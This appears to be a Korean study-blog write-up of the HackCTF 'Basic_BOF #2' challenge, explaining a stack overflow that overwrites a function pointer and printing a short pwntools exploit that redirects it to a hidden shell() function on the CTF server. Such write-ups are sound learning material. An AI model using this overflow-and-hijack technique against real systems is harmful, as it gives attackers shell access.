ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#2
HackCTF
Do you wanna be a God? If so, Challenge!
ctf.j0n9hyun.xyz
1. IDA로 파일을 열어서 디컴파일하기
- 포인터 v5은 sup() 함수를 가리키고 있음
- sup() 함수에서 s의 주소값을 리턴
=> v5은 변수 s를 가리킴
- main() 함수의 7번째 줄을 확인하면 s 변수에 입력값 133Byte를 넣어주는 코드이다. 하지만 v5와 s 변수의 주소공간의 차이는 128Byte로 133byte를 입력하면 변수 s 주소공간을 넘쳐서 v5에 쓰인다.
2. 사용되지 않은 함수 발견
- 사용되지 않은 shell() 함수를 발견 하였고, 실행시 쉘 코드를 실행시키는 system() 함수가 쓰였다는걸 알았다.
3. exploit 코드 작성하기
- 변수 s에는 일반 문자열이 저장되도록 하고, s의 저장공간 128 byte 이후에는 shell() 함수의 주소값이 입력되도록 하여 포인터 v5가 shell()함수를 가리키도록 한다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3001)
attack = 0x0804849B
print attack
payload = 'A' * 128
payload += p32(attack)
p.sendline(payload)
p.interactive()
- python exploit code 실행
'study > CTF' 카테고리의 다른 글
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2020.09.25 |
---|---|
[HackCTF] Basic_FSB (0) | 2020.09.23 |
[HackCTF] Pwnable - RTL_World (0) | 2020.09.23 |
[HackCTF] Pwnable - Basic_BOF #1 (0) | 2020.09.23 |
[CTF] pwanable.kr_passcode (PLT와 GOT 개념 정리) (0) | 2020.06.12 |